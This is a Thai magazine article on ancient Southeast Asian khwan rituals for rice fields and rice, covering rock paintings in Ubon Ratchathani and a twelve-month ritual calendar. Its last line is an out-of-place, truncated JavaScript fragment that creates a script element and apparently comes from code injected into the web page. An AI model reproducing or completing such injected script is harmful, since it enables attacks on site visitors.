มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 15 สิงหาคม 2557

 

ทำขวัญนาและทำขวัญข้าว

ของบรรพชนอาเซียน 2,500 ปีมาแล้ว

 

          ทำขวัญ หรือสู่ขวัญให้ท้องนาและต้นข้าว เป็นพิธีกรรมสำคัญของบรรพชนคนอาเซียน (อุษาคเนย์) เมื่อหลายพันปีมาแล้ว

          แสดงออกโดยภาพเขียนสีที่ผาหมอนน้อย อ. โขงเจียม จ. อุบลราชธานี เป็นรูปต้นข้าวปักดำเป็นแถว มีวัวควาย มีคน มีมือแดง กับมีลายสัญลักษณ์อื่นๆ (ที่ยังไม่รู้ความหมาย)

ทำขวัญข้าว และสู่ขวัญนา เมื่อ 2,500 ปีมาแล้ว มีต้นข้าวปักดำเป็นแถว มีวัวหรือควาย กับมีคนถืออาวุธทำท่าล่าวัวควาย และมีมือประทับทำแนวโค้ง พร้อมด้วยลายขีดข่วน รูปสัญลักษณ์ที่ยังไม่รู้ความหมาย (ลายเส้นจำลองจากภาพเขียนสีที่ผาหมอนน้อย อ. โขงเจียม จ. อุบลราชธานี)

ประเพณี 12 เดือน

          คนจะวิงวอนร้องขอขมาเพื่อให้ได้และไม่ได้สิ่งใดๆ มักเริ่มต้นที่ทำขวัญ สู่ขวัญ เรียกขวัญ เลี้ยงขวัญ เช่น ประเพณี 12 เดือน เพื่อการทำมาหากิน ต้องมีดังนี้

          เดือนอ้าย ขึ้นฤดูกาลใหม่ คนต้องทำพิธีเลี้ยงผีทำขวัญขอขมาน้ำและดินที่บันดาลให้มีพืชพันธุ์ธัญญาหารไว้กินและใช้ตลอดปี

          เดือนยี่, เดือนสาม เก็บเกี่ยวพืชพันธุ์เสร็จแล้วต้องมีพิธีทำขวัญต่างๆ เช่น ขวัญ ข้าว, ขวัญลานนวดข้าว, ขวัญยุ้งเก็บข้าว, ขวัญวัวควาย, ขวัญเกวียนเข็นข้าว, ฯลฯ

          เดือนสี่, เดือนห้า เลี้ยงผี ทำขวัญ เครื่องมือทำมาหากิน เช่น ผีครก, ผีสาก, ผีสุ่ม, ผีลิงลม, ผีนางด้ง, ฯลฯ (เมื่อรับสงกรานต์จากอินเดียแล้ว ผนวกเรียกประเพณีสงกรานต์)

          เดือนหก, เดือนเจ็ด เลี้ยงผี เลี้ยงขวัญ ขอฝน แรกนาขวัญ คือ เลี้ยงขวัญก่อนทำนา

          เดือนแปด, เดือนเก้า, เดือนสิบ สู่ขวัญทำนาและสู่ขวัญข้าว

          เดือนสิบเอ็ด, เดือนสิบสอง สู่ขวัญขอขมาให้น้ำลดเพื่อเกี่ยวข้าวในนาน้ำท่วม

 

ขวัญ

          ขวัญ เป็นระบบความเชื่อในศาสนาผี ซึ่งเป็นของพื้นเมืองดั้งเดิมดึกดำบรรพ์ หมายถึง ส่วนที่ไม่เป็นตัวตนของคน, สัตว์, พืช ที่มีในความเชื่อตรงกันของคนทุกชาติพันธุ์ในอุษาคเนย์

          (คำว่า ขวัญ ในตระกูลไทย-ลาว ที่ใช้สืบเนื่องมานานมาก น่าจะเป็นคำร่วมสุวรรณภูมิที่มีมาแต่ดั้งเดิมดึกดำบรรพ์ มีใช้ในหลายตระกูลภาษา แต่นานเข้าก็ออกเสียงแล้วสะกดต่างไปมากบ้างน้อยบ้าง)

          ขวัญมีหน่วยเดียว แต่ฝังกระจายอยู่ทั่วทุกแห่ง หรือทุกส่วนของร่างกายตั้งแต่เกิดมามากกว่า 30 แห่ง เช่น ขวัญหัว, ขวัญตา, ขวัญมือ, ขวัญแขน, ขวัญขา, ฯลฯ และมีความสำคัญมากเท่าๆ กับส่วนที่เป็นตัวตนหรือร่างกาย

          ทั้งยังมีความเชื่อร่วมกันอีกว่า ถ้าขวัญอยู่คู่กับร่างกาย เจ้าของขวัญจะมีความสุขสบาย แต่ถ้าขวัญออกจากร่างกายไป เจ้าของขวัญจะไม่เป็นปกติ อาจเจ็บไข้ได้ป่วยจนถึงตาย

          เมื่อใดก็ตามที่เจ้าของขวัญเจ็บป่วยมาก แสดงว่าขวัญไม่ได้อยู่กับตัว ดังนั้นผู้ใหญ่ในครอบครัวต้องทำพิธีเรียกขวัญให้กลับเข้าสู่ตัว เพื่อให้เจ้าของขวัญอยู่ดีมีสุข

          สัตว์, พืช, สิ่งของที่เกี่ยวข้องกับชีวิตและการทำมาหากินของคนล้วนมีขวัญทั้งนั้น เช่น ขวัญวัว, ขวัญควาย, ขวัญเรือน, ขวัญเกวียน, ขวัญยุ้ง, ขวัญนา, ขวัญข้าว, ฯลฯ

 

ทำขวัญ

          พิธีกรรมเกี่ยวกับขวัญ เรียกว่าทำขวัญ (หรือสู่ขวัญ เรียกขวัญ เลี้ยงขวัญ) ในทุกช่วงสำคัญของชีวิตทั้งเหตุดีและไม่ดี ตั้งแต่เกิดจนตาย

          เพื่อให้ผู้รับทำขวัญพ้นจากความวิตกกังวลหวาดกลัวหรือตกใจ ต่อการเปลี่ยนแปลงสู่สภาพแวดล้อมใหม่ ซึ่งเท่ากับสร้างความมั่นใจและความมั่นคงแก่ผู้รับขวัญ

          ทำขวัญ, สู่ขวัญ, เรียกขวัญ, เลี้ยงขวัญ เป็นพิธีกรรมที่แสดงความผูกพันและความสัมพันธ์ในระบบเครือญาติระหว่างบุคคลกับครอบครัว และบุคคลกับชุมชนในสังคมเกษตรกรรม ฉะนั้นพิธีจึงเริ่มจัดให้มีขึ้นอย่างง่ายๆ โดยพ่อแม่หรือญาติผู้ใหญ่ที่ใกล้ชิดเท่านั้น

          เมื่อรับศาสนาจากอินเดียแล้วพิธีทำขวัญอย่างง่ายๆ ในท้องถิ่นก็ถูกปรับเปลี่ยนให้ซับซ้อนขึ้นโดยรับคติพราหมณ์กับพุทธเข้ามาประสมประสาน

          ดังจะเห็นว่าพิธีทำขวัญสมัยต่อมาจนถึงทุกวันนี้มักจะมีบายสีและแว่นเวียนเทียนเป็นเครื่องประกอบ และมีหมอขวัญเป็นผู้ชำนาญขับคำร้องขวัญ คือกล่าวเชิญทั้งผีฟ้าพญาแถนและทวยเทพยดามาปลอบขวัญ

          (ทำขวัญปัจจุบัน คนอีสานถูกทำให้เชื่อว่าเป็นพิธีพราหมณ์ ไม่มีเป่าแคนคลอคำ สู่ขวัญ แต่ลำผีฟ้ารักษาโรค เมื่อถึงช่วงสุดท้ายต้องมีพาขวัญ สู่ขวัญ เรียกขวัญ และต้องมีเป่าแคนคลอหมอร้องขวัญ)

          บายสี เป็นคำเขมร หมายถึงข้าวขวัญ ที่จัดวางในกระทงใบตอง ต่อมารวมกระทงใส่เครื่องสังเวย

          จัดบายสีเป็นพิธีพราหมณ์ที่รับมาประสมกับพิธีพุทธใช้เคลือบพิธีผี เช่น พิธีทำขวัญนาค (ที่ไม่มีในพุทธบัญญัติ)

 

สถานที่ศักดิ์สิทธิ์

          บริเวณที่พบเส้นสาย, ลายสลัก, และลายแต้ม ยุคดึกดำบรรพ์ (ก่อนรับลายกระหนกจากอินเดีย) ล้วนเป็นสถานที่ศักดิ์สิทธิ์ในศาสนาผี เช่น ถ้ำ, เพิงผา, หน้าผา, โขดหิน, ฯลฯ

          ใช้ทำพิธีกรรมสำคัญของเผ่าพันธุ์ เช่น ขอฝน เป็นต้น ซึ่งคนในชุมชนเดียวกันและต่างชุมชนจะมาทำพิธีกรรมร่วมกัน เริ่มจากกินเหล้า แล้วร่วมกันขับลำ, เล่นดนตรี, ฯลฯ

          รวมถึงเป็นที่เก็บศพและฝังศพ ตระกูลหมอผีหัวหน้าเผ่าพันธุ์

 

ไม่ใช่งานศิลปะ

          เส้นสาย, ลายสลัก, จักสาน, และลายแต้ม ยุคดึกดำบรรพ์เหล่านี้ ไม่ใช่งานศิลปะ (อย่างที่นิยมเรียกศิลปะถ้ำ) แต่เป็นงานช่าง

          ศิลปะ อันเป็นที่รับรู้ของคนทั่วโลกทุกวันนี้ มีความหมายโน้มไปทางปัจเจกบุคคล “โดยปัจเจก เพื่อปัจเจก” ที่มีขึ้นสมัยหลัง (มักเชื่อว่ามีหลังปฏิวัติอุตสาหกรรมยุโรป ราวปลายยุคอยุธยาต่อเนื่องยุคธนบุรี)

          แต่งานช่างเป็นกิจกรรมร่วมหมู่ของคนทั้งชุมชน และบางทีขยายไปถึงท้องถิ่นร่วมกันทำขึ้นเป็นสมบัติรวมของชุมชนท้องถิ่น

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);